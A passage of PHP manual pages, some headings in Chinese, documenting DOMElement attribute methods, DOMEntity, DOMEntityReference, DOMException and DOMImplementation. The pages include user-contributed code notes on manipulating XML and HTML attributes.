for ( $k = $element->attributes->length - 1; $k >= 0; --$k) {
    if( /* same rule */ ){
        var_dump( $element->attributes->item($k)->nodeName);
        $element->removeAttributeNode( $element->attributes->item($k));
    }
}
?>
SECOND: DOMElement::removeAttributeNode does NOT return a bool but a DOMAttr object.


Removes attribute

  • ? DOMElement::removeAttributeNode
  • DOMElement::replaceChildren ?
  • PHP Manual
  • DOMElement
  • Removes attribute

DOMElement::removeAttributeNS

(PHP 5, PHP 7, PHP 8)

DOMElement::removeAttributeNS — Removes attribute

说明

public DOMElement::removeAttributeNS(?string $namespace, string $localName): void

Removes attribute localName in namespace namespace from the element.

参数

namespace

The namespace URI.

localName

The local name.

返回值

没有返回值。

错误／异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if the node is readonly.

参见

  • DOMElement::hasAttributeNS() - Checks to see if attribute exists
  • DOMElement::getAttributeNS() - Returns value of attribute
  • DOMElement::setAttributeNS() - Adds new attribute

User Contributed Notes

primaryspace at hotmail dot com 10-Aug-2005 12:56
This method can be used to remove a namespace declaration from an element, even though the declaration is not considered an attribute by the DOM.  The prefix will be removed from any element or attribute using it.

<?php

$dom = DOMDocument::loadXML('<foo:root xmlns:foo="http:bar"/>');
$element = $dom->childNodes->item(0);

// prints '0':
echo (int) $element->hasAttributeNS('http:bar', 'foo');

$element->removeAttributeNS('http:bar', 'foo');

/* prints '<?xml version="1.0"?> <root/>': */
print htmlentities($dom->saveXML());

?>


Replace children in element

  • ? DOMElement::removeAttributeNS
  • DOMElement::replaceWith ?
  • PHP Manual
  • DOMElement
  • Replace children in element

DOMElement::replaceChildren

(PHP 8 >= 8.3.0)

DOMElement::replaceChildren — Replace children in element

说明

public DOMElement::replaceChildren(DOMNode|string ...$nodes): void

Replaces the children in the element with new nodes.

参数

nodes

The nodes replacing the children. Strings are automatically converted to text nodes.

返回值

没有返回值。

错误／异常

DOM_HIERARCHY_REQUEST_ERR

Raised if this node is of a type that does not allow children of the type of one of the passed nodes, or if the node to put in is one of this node's ancestors or this node itself.

DOM_WRONG_DOCUMENT_ERR

Raised if one of the passed nodes was created from a different document than the one that created this node.

更新日志

版本 | 说明
8.3.0 | Calling this method on a node without an owner document now works. Previously this threw a DOMException with code DOM_HIERARCHY_REQUEST_ERR.

示例

Example #1 DOMElement::replaceChildren() example

Replaces the children with new nodes.

<?php
$doc = new DOMDocument;
$doc->loadXML("<container><hello/></container>");
$container = $doc->documentElement;

$container->replaceWith("beautiful", $doc->createElement("world"));

echo $doc->saveXML();
?>

以上示例会输出：

<?xml version="1.0"?>
beautiful
<world/>

参见

  • DOMParentNode::replaceChildren() - Replace children in node
  • DOMElement::replaceWith() - Replaces the element with new nodes
  • DOMElement::after() - Adds nodes after the element
  • DOMElement::before() - Adds nodes before the element
  • DOMElement::remove() - Removes the element

User Contributed Notes

There are no user contributed notes for this page.


Replaces the element with new nodes

  • ? DOMElement::replaceChildren
  • DOMElement::setAttribute ?
  • PHP Manual
  • DOMElement
  • Replaces the element with new nodes

DOMElement::replaceWith

(PHP 8)

DOMElement::replaceWith — Replaces the element with new nodes

说明

public DOMElement::replaceWith(DOMNode|string ...$nodes): void

Replaces the element with new nodes.

参数

nodes

The replacement nodes. Strings are automatically converted to text nodes.

返回值

没有返回值。

错误／异常

DOM_HIERARCHY_REQUEST_ERR

Raised if the parent is of a type that does not allow children of the type of one of the passed nodes, or if the node to put in is one of this node's ancestors or this node itself.

DOM_WRONG_DOCUMENT_ERR

Raised if one of the passed nodes was created from a different document than the one that created this node.

更新日志

版本 | 说明
8.3.0 | Calling this method on a node without a parent is now a no-op to align the behaviour with the DOM specification. Previously this threw a DOMException with code DOM_HIERARCHY_REQUEST_ERR.

示例

Example #1 DOMElement::replaceWith() example

Replaces the element with new nodes.

<?php
$doc = new DOMDocument;
$doc->loadXML("<container><hello/></container>");
$cdata = $doc->documentElement->firstChild;

$cdata->replaceWith("beautiful", $doc->createElement("world"));

echo $doc->saveXML();
?>

以上示例会输出：

<?xml version="1.0"?>
<container>beautiful<world/></container>

参见

  • DOMChildNode::replaceWith() - Replaces the node with new nodes
  • DOMElement::replaceChildren() - Replace children in element
  • DOMElement::after() - Adds nodes after the element
  • DOMElement::before() - Adds nodes before the element
  • DOMElement::remove() - Removes the element

User Contributed Notes

There are no user contributed notes for this page.


Adds new or modifies existing attribute

  • ? DOMElement::replaceWith
  • DOMElement::setAttributeNode ?
  • PHP Manual
  • DOMElement
  • Adds new or modifies existing attribute

DOMElement::setAttribute

(PHP 5, PHP 7, PHP 8)

DOMElement::setAttribute — Adds new or modifies existing attribute

说明

public DOMElement::setAttribute(string $qualifiedName, string $value): DOMAttr|bool

Sets an attribute with name qualifiedName to the given value. If the attribute does not exist, it will be created.

参数

qualifiedName

The name of the attribute.

value

The value of the attribute.

返回值

The created or modified DOMAttr or false if an error occurred.

错误／异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if the node is readonly.

示例

Example #1 Setting an attribute

<?php
$doc = new DOMDocument("1.0");
$node = $doc->createElement("para");
$newnode = $doc->appendChild($node);
$newnode->setAttribute("align", "left");
?>

参见

  • DOMElement::hasAttribute() - Checks to see if attribute exists
  • DOMElement::getAttribute() - Returns value of attribute
  • DOMElement::removeAttribute() - Removes attribute

User Contributed Notes

info at ensostudio dot ru 02-Dec-2021 06:17
Solution to render HTML 5 tags with attributes with/without value:
<?php
$dom = new DOMImplementation();
$doc = $dom->createDocument(null, 'html', $dom->createDocumentType('html'));

$tag = $doc->appendChild($doc->createElement('input'));
$tag->setAttribute('type', 'text');
$tag->setAttribute('disabled', '');

echo $doc->saveHTML($tag); // <input type="text" disabled="">

$doc->normalize(); // normalize attributes
echo $doc->saveHTML($tag); // <input type="text" disabled>
?>
lehal2@hotmail 06-Jun-2013 09:44
The use of Dom to first remove and then add the width and height to the first img tag from the text.I hope it help you to save your time
<?php
$html = '

            <img src="http://www.example.com/images/header.jpg" width="898" height="223" style="border-bottom:5px solid #cccccc;"/>
        <img src="http://www.example.com/images/header2.jpg" width="898" height="223" style="border-bottom:5px solid #cccccc;"/>
        ';

$doc = DOMDocument::loadHTML($html);
$c =0;
foreach($doc->getElementsByTagName('img') as $image){
    if ($c>0) continue;
    foreach(array('width', 'height') as $attribute_to_remove){
        echo $attribute_to_remove;
        if($image->hasAttribute($attribute_to_remove)){
            $image->removeAttribute($attribute_to_remove);

        }
        if($attribute_to_remove=='height'){
            if(!$image->hasAttribute($attribute_to_remove)){
                $image->setAttribute($attribute_to_remove,'220');

            }}
        if($attribute_to_remove=='width'){
      if(!$image->hasAttribute($attribute_to_remove)){
            $image->setAttribute($attribute_to_remove,'700');

        }}
        $c = $c+1;
    }
}
echo $doc->saveHTML();
Rakesh Verma - rakeshnsony at gmail dot com 10-Nov-2010 11:27
<?php
//Store your html into $html variable.
$html="
<html>
<head>
<title>Untitled Document</title>
</head>

<body>
    <a href='http://example.com'>Example</a><br>
    <a href='http://google.com'>Google</a><br>

    <a href='http://www.yahoo.com'>Yahoo</a><br>
</body>

</html>";

$dom = new DOMDocument();
$dom->loadHTML($html);

//Evaluate Anchor tag in HTML
$xpath = new DOMXPath($dom);
$hrefs = $xpath->evaluate("/html/body//a");

for ($i = 0; $i < $hrefs->length; $i++) {
        $href = $hrefs->item($i);
        $url = $href->getAttribute('href');

        //remove and set target attribute
        $href->removeAttribute('target');
        $href->setAttribute("target", "_blank");

        $newURL=$url."/newurl";

        //remove and set href attribute
        $href->removeAttribute('href');
        $href->setAttribute("href", $newURL);
}

// save html
$html=$dom->saveHTML();

echo $html;

?>
address at gmail dot com 03-Jul-2008 07:25
If wanting to set an attribute of an element with unique id of "1"

<?php
$dom = new DomDocument();
$dom->load('test.xml');
$xp = new DomXPath($dom);
$res = $xp->query("//*[@id = '1']");
$res->item(0)->setAttribute('title','2');
$dom->save('test.xml');
?>
Vasil Rangelov 31-Jul-2007 04:44
@karvjorm,
Using this method is not exactly a good practice. Infact, I think it may be a bug.
Names beginning with "xml" are reserved (for namespaces in this case).
setAttribute() should return false in this case I think, but I suppose it doesn't.

Still, the right way to do it is with createElementNS().
It lets you specify the namespace when creating the element node.

So the equivalent to yours ($html added to allow word wrapping) is:

$dom = new DomDocument('1.0','iso-8859-15');
$html = $dom->createElementNS('http://www.w3.org/1999/xhtml', 'html');
$ht_ml = $dom->appendChild($html);
$ht_ml->setAttribute('xml:lang','fi');
$ht_ml->setAttribute('lang','fi');
karvjorm at users.sourceforge.net 02-Mar-2007 03:05
$dom = new DomDocument('1.0','iso-8859-15');

$ht_ml = $dom->appendChild($dom->createElement('html'));
$ht_ml->setAttribute('xmlns','http://www.w3.org/1999/xhtml');
$ht_ml->setAttribute('xml:lang','fi');
$ht_ml->setAttribute('lang','fi');

Result:

<?xml version="1.0" encoding="iso-8859-15"?>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fi" lang="fi">


Adds new attribute node to element

  • ? DOMElement::setAttribute
  • DOMElement::setAttributeNodeNS ?
  • PHP Manual
  • DOMElement
  • Adds new attribute node to element

DOMElement::setAttributeNode

(PHP 5, PHP 7, PHP 8)

DOMElement::setAttributeNode — Adds new attribute node to element

说明

public DOMElement::setAttributeNode(DOMAttr $attr): DOMAttr|null|false

Adds new attribute node attr to element. If an attribute with the same name already exists on the element, that attribute is replaced by attr.

参数

attr

The attribute node.

返回值

Returns the old attribute if it has been replaced or null if there was no old attribute. If a DOM_WRONG_DOCUMENT_ERR error is raised, and strictErrorChecking is false, false is returned.

错误／异常

DOM_WRONG_DOCUMENT_ERR

Raised if attr belongs to a different document than the element.

参见

  • DOMElement::hasAttribute() - Checks to see if attribute exists
  • DOMElement::getAttributeNode() - Returns attribute node
  • DOMElement::removeAttributeNode() - Removes attribute

User Contributed Notes

karvjorm at users.sourceforge.net 02-Mar-2007 04:01
$dom = new DomDocument('1.0','iso-8859-15');

$ht_ml = $dom->appendChild($dom->createElement('html'));

$he_ad = $ht_ml->appendChild($dom->createElement('head'));

$tit_le= $he_ad->appendChild($dom->createElement('title'));
$tit_le->appendChild($dom->createTextNode('DOMAttr test'));

$me_ta = $he_ad->appendChild(new DOMElement('meta'));
$me_ta->setAttributeNode(new DOMAttr('name', 'Description'));
$me_ta->setAttributeNode(new DOMAttr('content', 'example'));

$me_ta = $he_ad->appendChild(new DOMElement('meta'));
$me_ta->setAttributeNode(new DOMAttr('name', 'Author'));
$me_ta->setAttributeNode(new DOMAttr('content', 'karvjorm'));

Result:

<?xml version="1.0" encoding="iso-8859-15"?>
<html>
  <head>
    <title>DOMAttr test</title>
    <meta name="Description" content="example"/>
    <meta name="Author" content="karvjorm"/>
  </head>


Adds new attribute node to element

  • ? DOMElement::setAttributeNode
  • DOMElement::setAttributeNS ?
  • PHP Manual
  • DOMElement
  • Adds new attribute node to element

DOMElement::setAttributeNodeNS

(PHP 5, PHP 7, PHP 8)

DOMElement::setAttributeNodeNS — Adds new attribute node to element

说明

public DOMElement::setAttributeNodeNS(DOMAttr $attr): DOMAttr|null|false

Adds new attribute node attr to element, keeping the namespace into account. If an attribute with the same name already exists on the element, that attribute is replaced by attr.

参数

attr

The attribute node.

返回值

Returns the old attribute if it has been replaced or null if there was no old attribute. If a DOM_WRONG_DOCUMENT_ERR error is raised, and strictErrorChecking is false, false is returned.

错误／异常

DOM_WRONG_DOCUMENT_ERR

Raised if attr belongs to a different document than the element.

参见

  • DOMElement::hasAttributeNS() - Checks to see if attribute exists
  • DOMElement::getAttributeNodeNS() - Returns attribute node
  • DOMElement::removeAttributeNode() - Removes attribute

User Contributed Notes

There are no user contributed notes for this page.


Adds new attribute

  • ? DOMElement::setAttributeNodeNS
  • DOMElement::setIdAttribute ?
  • PHP Manual
  • DOMElement
  • Adds new attribute

DOMElement::setAttributeNS

(PHP 5, PHP 7, PHP 8)

DOMElement::setAttributeNS — Adds new attribute

说明

public DOMElement::setAttributeNS(?string $namespace, string $qualifiedName, string $value): void

Sets an attribute with namespace namespace and name name to the given value. If the attribute does not exist, it will be created.

参数

namespace

The namespace URI.

qualifiedName

The qualified name of the attribute, as prefix:tagname.

value

The value of the attribute.

返回值

没有返回值。

错误／异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if the node is readonly.

DOM_NAMESPACE_ERR

Raised if qualifiedName is a malformed qualified name, or if qualifiedName has a prefix and namespace is null.

参见

  • DOMElement::hasAttributeNS() - Checks to see if attribute exists
  • DOMElement::getAttributeNS() - Returns value of attribute
  • DOMElement::removeAttributeNS() - Removes attribute

User Contributed Notes

catalinenache78 at gmail dot com 18-May-2011 07:39
To add new brand xml namespace use:

<?php
    $element->setAttributeNS(
        'http://www.w3.org/2000/xmlns/', // xmlns namespace URI
        'xmlns:mynamespace',
        'example.com/mynamespace'
    );
?>

'http://www.w3.org/2000/xmlns/' URI is important
to be able to add  new namespaces !!!

Later you can use your namespace like:

<?php
    $element->setAttributeNS(
        'example.com/mynamespace',
        'mynamespace:something',
        'value'
    );
?>


Declares the attribute specified by name to be of type ID

  • ? DOMElement::setAttributeNS
  • DOMElement::setIdAttributeNode ?
  • PHP Manual
  • DOMElement
  • Declares the attribute specified by name to be of type ID

DOMElement::setIdAttribute

(PHP 5, PHP 7, PHP 8)

DOMElement::setIdAttribute — Declares the attribute specified by name to be of type ID

说明

public DOMElement::setIdAttribute(string $qualifiedName, bool $isId): void

Declares the attribute qualifiedName to be of type ID.

参数

qualifiedName

The name of the attribute.

isId

Set it to true if you want qualifiedName to be of type ID, false otherwise.

返回值

没有返回值。

错误／异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if the node is readonly.

DOM_NOT_FOUND

Raised if qualifiedName is not an attribute of this element.

参见

  • DOMDocument::getElementById() - Searches for an element with a certain id
  • DOMElement::setIdAttributeNode() - Declares the attribute specified by node to be of type ID
  • DOMElement::setIdAttributeNS() - Declares the attribute specified by local name and namespace URI to be of type ID

User Contributed Notes

There are no user contributed notes for this page.


Declares the attribute specified by node to be of type ID

  • ? DOMElement::setIdAttribute
  • DOMElement::setIdAttributeNS ?
  • PHP Manual
  • DOMElement
  • Declares the attribute specified by node to be of type ID

DOMElement::setIdAttributeNode

(PHP 5, PHP 7, PHP 8)

DOMElement::setIdAttributeNode — Declares the attribute specified by node to be of type ID

说明

public DOMElement::setIdAttributeNode(DOMAttr $attr, bool $isId): void

Declares the attribute specified by attr to be of type ID.

参数

attr

The attribute node.

isId

Set it to true if you want name to be of type ID, false otherwise.

返回值

没有返回值。

错误／异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if the node is readonly.

DOM_NOT_FOUND

Raised if name is not an attribute of this element.

参见

  • DOMDocument::getElementById() - Searches for an element with a certain id
  • DOMElement::setIdAttribute() - Declares the attribute specified by name to be of type ID
  • DOMElement::setIdAttributeNS() - Declares the attribute specified by local name and namespace URI to be of type ID

User Contributed Notes

There are no user contributed notes for this page.


Declares the attribute specified by local name and namespace URI to be of type ID

  • ? DOMElement::setIdAttributeNode
  • DOMElement::toggleAttribute ?
  • PHP Manual
  • DOMElement
  • Declares the attribute specified by local name and namespace URI to be of type ID

DOMElement::setIdAttributeNS

(PHP 5, PHP 7, PHP 8)

DOMElement::setIdAttributeNS — Declares the attribute specified by local name and namespace URI to be of type ID

说明

public DOMElement::setIdAttributeNS(string $namespace, string $qualifiedName, bool $isId): void

Declares the attribute specified by qualifiedName and namespace to be of type ID.

参数

namespace

The namespace URI of the attribute.

qualifiedName

The local name of the attribute, as prefix:tagname.

isId

Set it to true if you want name to be of type ID, false otherwise.

返回值

没有返回值。

错误／异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if the node is readonly.

DOM_NOT_FOUND

Raised if name is not an attribute of this element.

参见

  • DOMDocument::getElementById() - Searches for an element with a certain id
  • DOMElement::setIdAttribute() - Declares the attribute specified by name to be of type ID
  • DOMElement::setIdAttributeNode() - Declares the attribute specified by node to be of type ID

User Contributed Notes

There are no user contributed notes for this page.


Toggle attribute

  • ? DOMElement::setIdAttributeNS
  • DOMEntity ?
  • PHP Manual
  • DOMElement
  • Toggle attribute

DOMElement::toggleAttribute

(PHP 8 >= 8.3.0)

DOMElement::toggleAttribute — Toggle attribute

说明

public DOMElement::toggleAttribute(string $qualifiedName, ?bool $force = null): bool

Toggle the attribute.

参数

qualifiedName

The qualified name of the attribute.

force

  • if null, the function will toggle the attribute.
  • if true, the function adds the attribute.
  • if false, the function removes the attribute.

返回值

Returns true if the attribute is present after finishing the call, false otherwise.

示例

Example #1 DOMElement::toggleAttribute() example

<?php

$dom = new DOMDocument();
$dom->loadXML("<?xml version='1.0'?><container selected=\"\"/>");

var_dump($dom->documentElement->toggleAttribute('selected'));
echo $dom->saveXML() . PHP_EOL;

var_dump($dom->documentElement->toggleAttribute('selected'));
echo $dom->saveXML();
?>

以上示例会输出：

bool(false)
<?xml version="1.0"?>
<container/>

bool(true)
<?xml version="1.0"?>
<container selected=""/>

User Contributed Notes

There are no user contributed notes for this page.


The DOMEntity class

(PHP 5, PHP 7, PHP 8)

简介

This interface represents a known entity, either parsed or unparsed, in an XML document.

类摘要

class DOMEntity extends DOMNode {
/* 属性 */
public readonly ?string $publicId;
public readonly ?string $systemId;
public readonly ?string $notationName;
public readonly ?string $actualEncoding = null;
public readonly ?string $encoding = null;
public readonly ?string $version = null;
/* 继承的属性 */
public readonly string $nodeName;
public ?string $nodeValue;
public readonly int $nodeType;
public readonly ?DOMNode $parentNode;
public readonly ?DOMElement $parentElement;
public readonly DOMNodeList $childNodes;
public readonly ?DOMNode $firstChild;
public readonly ?DOMNode $lastChild;
public readonly ?DOMNode $previousSibling;
public readonly ?DOMNode $nextSibling;
public readonly ?DOMNamedNodeMap $attributes;
public readonly bool $isConnected;
public readonly ?DOMDocument $ownerDocument;
public readonly ?string $namespaceURI;
public string $prefix;
public readonly ?string $localName;
public readonly ?string $baseURI;
public string $textContent;
/* 继承的方法 */
public DOMNode::appendChild(DOMNode $node): DOMNode|false
public DOMNode::C14N(
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): string|false
public DOMNode::C14NFile(
string $uri,
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): int|false
public DOMNode::cloneNode(bool $deep = false): DOMNode|false
public DOMNode::contains(DOMNode|DOMNameSpaceNode|null $other): bool
public DOMNode::getLineNo(): int
public DOMNode::getNodePath(): ?string
public DOMNode::getRootNode(array $options = null): DOMNode
public DOMNode::hasAttributes(): bool
public DOMNode::hasChildNodes(): bool
public DOMNode::insertBefore(DOMNode $node, ?DOMNode $child = null): DOMNode|false
public DOMNode::isDefaultNamespace(string $namespace): bool
public DOMNode::isEqualNode(?DOMNode $otherNode): bool
public DOMNode::isSameNode(DOMNode $otherNode): bool
public DOMNode::isSupported(string $feature, string $version): bool
public DOMNode::lookupNamespaceURI(?string $prefix): ?string
public DOMNode::lookupPrefix(string $namespace): ?string
public DOMNode::normalize(): void
public DOMNode::removeChild(DOMNode $child): DOMNode|false
public DOMNode::replaceChild(DOMNode $node, DOMNode $child): DOMNode|false
}

属性

publicId

The public identifier associated with the entity if specified, and null otherwise.

systemId

The system identifier associated with the entity if specified, and null otherwise. This may be an absolute URI or not.

notationName

For unparsed entities, the name of the notation for the entity. For parsed entities, this is null.

actualEncoding

An attribute specifying the encoding used for this entity at the time of parsing, when it is an external parsed entity. This is null if it is an entity from the internal subset or if it is not known.

encoding

An attribute specifying, as part of the text declaration, the encoding of this entity, when it is an external parsed entity. This is null otherwise.

version

An attribute specifying, as part of the text declaration, the version number of this entity, when it is an external parsed entity. This is null otherwise.

User Contributed Notes

There are no user contributed notes for this page.


The DOMEntityReference class

(PHP 5, PHP 7, PHP 8)

类摘要

class DOMEntityReference extends DOMNode {
/* 继承的属性 */
public readonly string $nodeName;
public ?string $nodeValue;
public readonly int $nodeType;
public readonly ?DOMNode $parentNode;
public readonly ?DOMElement $parentElement;
public readonly DOMNodeList $childNodes;
public readonly ?DOMNode $firstChild;
public readonly ?DOMNode $lastChild;
public readonly ?DOMNode $previousSibling;
public readonly ?DOMNode $nextSibling;
public readonly ?DOMNamedNodeMap $attributes;
public readonly bool $isConnected;
public readonly ?DOMDocument $ownerDocument;
public readonly ?string $namespaceURI;
public string $prefix;
public readonly ?string $localName;
public readonly ?string $baseURI;
public string $textContent;
/* 方法 */
public __construct(string $name)
/* 继承的方法 */
public DOMNode::appendChild(DOMNode $node): DOMNode|false
public DOMNode::C14N(
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): string|false
public DOMNode::C14NFile(
string $uri,
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): int|false
public DOMNode::cloneNode(bool $deep = false): DOMNode|false
public DOMNode::contains(DOMNode|DOMNameSpaceNode|null $other): bool
public DOMNode::getLineNo(): int
public DOMNode::getNodePath(): ?string
public DOMNode::getRootNode(array $options = null): DOMNode
public DOMNode::hasAttributes(): bool
public DOMNode::hasChildNodes(): bool
public DOMNode::insertBefore(DOMNode $node, ?DOMNode $child = null): DOMNode|false
public DOMNode::isDefaultNamespace(string $namespace): bool
public DOMNode::isEqualNode(?DOMNode $otherNode): bool
public DOMNode::isSameNode(DOMNode $otherNode): bool
public DOMNode::isSupported(string $feature, string $version): bool
public DOMNode::lookupNamespaceURI(?string $prefix): ?string
public DOMNode::lookupPrefix(string $namespace): ?string
public DOMNode::normalize(): void
public DOMNode::removeChild(DOMNode $child): DOMNode|false
public DOMNode::replaceChild(DOMNode $node, DOMNode $child): DOMNode|false
}

Table of Contents

  • DOMEntityReference::__construct — Creates a new DOMEntityReference object

User Contributed Notes

There are no user contributed notes for this page.


Creates a new DOMEntityReference object

  • ? DOMEntityReference
  • DOMException ?
  • PHP Manual
  • DOMEntityReference
  • Creates a new DOMEntityReference object

DOMEntityReference::__construct

(PHP 5, PHP 7, PHP 8)

DOMEntityReference::__construct — Creates a new DOMEntityReference object

说明

public DOMEntityReference::__construct(string $name)

Creates a new DOMEntityReference object.

参数

name

The name of the entity reference.

示例

Example #1 Creating a new DOMEntityReference

<?php

$dom = new DOMDocument('1.0', 'iso-8859-1');
$element = $dom->appendChild(new DOMElement('root'));
$entity = $element->appendChild(new DOMEntityReference('nbsp'));
echo $dom->saveXML(); /* <?xml version="1.0" encoding="iso-8859-1"?><root>&nbsp;</root> */

?>

参见

  • DOMDocument::createEntityReference() - Create new entity reference node

User Contributed Notes

There are no user contributed notes for this page.


The DOMException class

(PHP 5, PHP 7, PHP 8)

简介

DOM operations raise exceptions under particular circumstances, i.e., when an operation is impossible to perform for logical reasons.

See also 异常.

类摘要

final class DOMException extends Exception {
/* 属性 */
public int $code;
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

属性

code

An integer indicating the type of error generated

User Contributed Notes

There are no user contributed notes for this page.


The DOMImplementation class

(PHP 5, PHP 7, PHP 8)

简介

The DOMImplementation class provides a number of methods for performing operations that are independent of any particular instance of the document object model.

类摘要

class DOMImplementation {
/* 方法 */
public createDocument(?string $namespace = null, string $qualifiedName = "", ?DOMDocumentType $doctype = null): DOMDocument|false
public createDocumentType(string $qualifiedName, string $publicId = "", string $systemId = ""): DOMDocumentType|false
public hasFeature(string $feature, string $version): bool
}

Table of Contents

  • DOMImplementation::__construct — Creates a new DOMImplementation object
  • DOMImplementation::createDocument — Creates a DOMDocument object of the specified type with its document element
  • DOMImplementation::createDocumentType — Creates an empty DOMDocumentType object
  • DOMImplementation::hasFeature — Test if the DOM implementation implements a specific feature

User Contributed Notes

LANGE.LUDO 07-Nov-2014 06:05
Ok got it working like a charm using "proxy pattern" with traits. The idea being declaring the common methods inside a "trait" in order for extended and registered Node Classes to have access even if not derived / child of the extended DOMNode...

Here a small snippet :
<?php
    namespace my;

    trait tNode
    {    // We need the magic method __get in order to add properties such as DOMNode->parentElement
        public function __get($name)
        {    if(property_exists($this, $name)){return $this->$name;}
            if(method_exists($this, $name)){return $this->$name();}
            throw new \ErrorException('my\\Node property \''.(string) $name.'\' not found...', 42, E_USER_WARNING);
        }

        // parentElement property definition
        private function parentElement()
        {    if($this->parentNode === null){return null;}
            if($this->parentNode->nodeType === XML_ELEMENT_NODE){return $this->parentNode;}
            return $this->parentNode->parentElement();
        }

        // JavaScript equivalent
        public function isEqualNode(\DOMNode $node){return $this->isSameNode($node);}
        public function compareDocumentPosition(\DOMNode $otherNode)
        {    if($this->ownerDocument !== $otherNode->ownerDocument){return DOCUMENT_POSITION_DISCONNECTED;}
            $c = strcmp($this->getNodePath(), $otherNode->getNodePath());
            if($c === 0){return 0;}
            else if($c < 0){return DOCUMENT_POSITION_FOLLOWING | ($c < -1 ? DOCUMENT_POSITION_CONTAINED_BY : 0);}
            return DOCUMENT_POSITION_PRECEDING | ($c > 1 ? DOCUMENT_POSITION_CONTAINS : 0);
        }
        public function contains(\DOMNode $otherNode){return ($this->compareDocumentPosition($otherNode) >= DOCUMENT_POSITION_CONTAINED_BY);}
    }

    class Document extends \DomDocument
    {    public function __construct($version=null, $encoding=null)
        {    parent::__construct($version, $encoding);
            $this->registerNodeClass('DOMNode', 'my\Node');
            $this->registerNodeClass('DOMElement', 'my\Element');
            $this->registerNodeClass('DOMDocument', 'my\Document');
            /* [...] */
        }
    }

    class Element extends \DOMElement
    {    use tNode;
        /* [...] */
    }

    class Node extends \DOMNode
    {    use tNode;
        /* [...] */
    }

?>
LANGE.LUDO 07-Nov-2014 08:14
From what I've seen you must "recode" the "createDocument" method in order to call your own object extension...

<?php
[...]
    public function createDocument($namespaceURI=null, $qualifiedName=null, DOMDocumentType $docType=null)
    {    $doc=new Document();
        $doc->appendChild(parent::createDocumentType('html'));
        $this->doc->appendChild($namespaceURI ? $this->doc->createElementNS($namespaceURI,$qualifiedName) : $this->doc->createElement($qualifiedName));
    return $doc;
    }
[...]
?>

Where I am struggling is extending the whole tree so that calling the customized Implementation method returns a whole extended tree...
Expected result : Implementation > Document > DOMDocument > Node > DOMNode
Actual result : Implementation > Document > DOMDocument > DOMNode :(
LANGE.LUDO 05-Nov-2014 10:59
Why not use the DOMImplementation to directly register your DOM Class extensions ?

<?php
namespace My;
class Implementation extends \DOMImplementation
{    private $doc;
    public function __construct(){return $this->createDocument();}
    public function __get($name){return $this->doc->{$name};}
    public function __set($name,$value){$this->doc->{$name}=$value;}
    public function __isset($name){return isset($this->doc->{$name});}
    public function __unset($name){return $this->doc->__unset($name);}
    public function __call($name,$args){return call_user_func_array(array($this->doc,$name),$args);}

    public function createDocument($namespaceURI=null,$qualifiedName=null,DOMDocumentType $docType=null)
    {    $this->doc=parent::createDocument($namespaceURI,$qualifiedName,$docType);
        $this->doc->xmlVersion='1.0';
        $this->doc->xmlEncoding='UTF-8';
        $this->doc->registerNodeClass('DOMDocument','My\Document');
        $this->doc->registerNodeClass('DOMDocumentFragment','My\DocumentFragment');
        $this->doc->registerNodeClass('DOMElement','My\Element');
        $this->doc->registerNodeClass('DOMComment','My\Comment');
        $this->doc->registerNodeClass('DOMNode','My\Node');
        /* ..., ..., ... */
        return $this->doc;
    }
}
?>
giorgio dot liscio at email dot it 20-Jul-2010 06:26
officially, the w3 specifies that the way to access dom interfaces is through this class

so if you use

$doc = new DOMDocument("1.0", "UTF-8");

use instead:

$x = new DOMImplementation();
$doc = $x->createDocument(NULL,"rootElementName");
$doc->xmlVersion="1.0";
$doc->xmlEncoding="UTF-8";

it is not required by php's implementation, but, probably, it is a good practice

see:

http://w3.org/TR/DOM-Level-3-Core/core.html#DOMImplementation

http://w3.org/TR/DOM-Level-3-Core/core.html#DOMImplementationList

http://w3.org/TR/DOM-Level-3-Core/core.html#DOMImplementationSource


Creates a new DOMImplementation object

  • ? DOMImplementation
  • DOMImplementation::createDocument ?
  • PHP Manual
  • DOMImplementation
  • Creates a new DOMImplementation object

DOMImplementation::__construct

(PHP 5, PHP 7)

DOMImplementation::__construct — Creates a new DOMImplementation object

说明

DOMImplementation::__construct()

Creates a new DOMImplementation object.

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Creates a DOMDocument object of the specified type with its document element

  • ? DOMImplementation::__construct
  • DOMImplementation::createDocumentType ?
  • PHP Manual
  • DOMImplementation
  • Creates a DOMDocument object of the specified type with its document element

DOMImplementation::createDocument

(PHP 5, PHP 7, PHP 8)

DOMImplementation::createDocument — Creates a DOMDocument object of the specified type with its document element

说明

public DOMImplementation::createDocument(?string $namespace = null, string $qualifiedName = "", ?DOMDocumentType $doctype = null): DOMDocument|false

Creates a DOMDocument object of the specified type with its document element.

参数

namespace

The namespace URI of the document element to create.

qualifiedName

The qualified name of the document element to create.

doctype

The type of document to create or null.

返回值

A new DOMDocument object or false on error. If namespace, qualifiedName, and doctype are null, the returned DOMDocument is empty with no document element

错误／异常

DOM_WRONG_DOCUMENT_ERR

Raised if doctype has already been used with a different document or was created from a different implementation.

DOM_NAMESPACE_ERR

Raised if there is an error with the namespace, as determined by namespace and qualifiedName.

更新日志

版本 | 说明
8.0.3 | namespace is now nullable.
8.0.0 | doctype is now nullable.
8.0.0 | Calling this function statically will now throw an Error. Previously, an E_DEPRECATED was raised.

参见

  • DOMDocument::__construct() - Creates a new DOMDocument object
  • DOMImplementation::createDocumentType() - Creates an empty DOMDocumentType object

